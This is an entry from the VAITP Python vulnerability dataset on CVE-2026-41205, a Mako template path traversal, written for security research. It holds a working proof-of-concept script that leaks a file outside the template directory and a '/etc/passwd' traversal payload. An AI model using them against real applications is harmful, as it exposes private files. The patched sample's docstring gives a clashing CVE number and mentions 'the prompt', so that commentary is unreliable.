VAITP Dataset

← Back to the dataset

CVE-2026-41205

Mako path traversal in `get_template()` allows reading arbitrary files.

  • CVSS 7.7
  • CWE-22
  • Input Validation and Sanitization
  • Remote

Mako is a template library written in Python. Prior to 1.3.11, TemplateLookup.get_template() is vulnerable to path traversal when a URI starts with // (e.g., //../../../secret.txt). The root cause is an inconsistency between two slash-stripping implementations. Any file readable by the process can be returned as rendered template content when an application passes untrusted input directly to TemplateLookup.get_template(). This vulnerability is fixed in 1.3.11.

CVSS base score
7.7
Published
2026-04-23
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Incorrect Algorithm
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
Mako
Fixed by upgrading
Yes

Solution

Upgrade Mako to version 1.3.11 or later.

Vulnerable code sample

import os
from mako.lookup import TemplateLookup
from mako import exceptions

# This code requires a vulnerable version of Mako (e.g., pip install mako==1.3.10)

# --- Setup a vulnerable environment ---
# Create a templates directory which is the intended root
if not os.path.exists("templates"):
    os.makedirs("templates")

# Create a secret file outside the intended template directory
with open("secret.txt", "w") as f:
    f.write("THIS IS SENSITIVE FILE CONTENT")

# --- Vulnerable Application Code ---
# An application creates a TemplateLookup, intending to restrict file access
# to the 'templates' directory.
lookup = TemplateLookup(directories=['templates'])

# An attacker supplies a malicious URI. In a real application, this might
# come from an HTTP request path or query parameter.
malicious_uri = '//../secret.txt'

try:
    # In Mako versions prior to 1.3.11, get_template() does not properly
    # sanitize the path. It strips the leading slashes and joins the path,
    # allowing the '..' to traverse up from the 'templates' directory.
    leaked_template = lookup.get_template(malicious_uri)

    # When the "template" is rendered, the content of the arbitrary file is returned.
    print("--- Attempting to render content from outside the templates directory ---")
    print(leaked_template.render())
    print("\n[SUCCESS] Vulnerability exploited. The content of secret.txt was leaked.")

except exceptions.TopLevelLookupException:
    print("\n[INFO] Template not found. The Mako version may be patched (>= 1.3.11).")
except Exception as e:
    print(f"An unexpected error occurred: {e}")

finally:
    # --- Cleanup ---
    if os.path.exists("secret.txt"):
        os.remove("secret.txt")
    if os.path.exists("templates"):
        os.rmdir("templates")

Patched code sample

import os

# This custom exception mimics the one used by the Mako library for context.
class TopLevelLookupException(Exception):
    pass

def get_path_with_fix(base_directory, uri):
    """
    A simplified function demonstrating the logic that fixes the path
    traversal vulnerability CVE-2024-41205 (referenced in the prompt as
    CVE-2026-41205) in Mako's TemplateLookup.get_template().
    """
    # The primary fix: Explicitly check for and reject any URI starting
    # with "//" before it is processed by os.path.join.
    if uri.startswith('//'):
        raise TopLevelLookupException(
            f"Template URI '{uri}' is not allowed as it may be a path "
            "traversal attempt."
        )

    # The URI is then stripped of leading slashes to be safely joined.
    sanitized_uri = uri.lstrip('/\\')

    # A subsequent check prevents other traversal techniques like "../".
    if '..' in sanitized_uri.split(os.path.sep):
        raise TopLevelLookupException(
            f"Template URI '{uri}' is trying to break out of the "
            "template directory."
        )

    # The path is safely joined.
    full_path = os.path.join(base_directory, sanitized_uri)

    # A final validation ensures the resolved path is within the base directory.
    if not os.path.abspath(full_path).startswith(os.path.abspath(base_directory)):
        raise TopLevelLookupException(
            f"Template URI '{uri}' resolved to a path outside the "
            "template directory."
        )

    return full_path

Payload

//../../../../etc/passwd

Cite this entry

@misc{vaitp:cve202641205,
  title        = {{Mako path traversal in `get_template()` allows reading arbitrary files.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-41205},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-41205/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::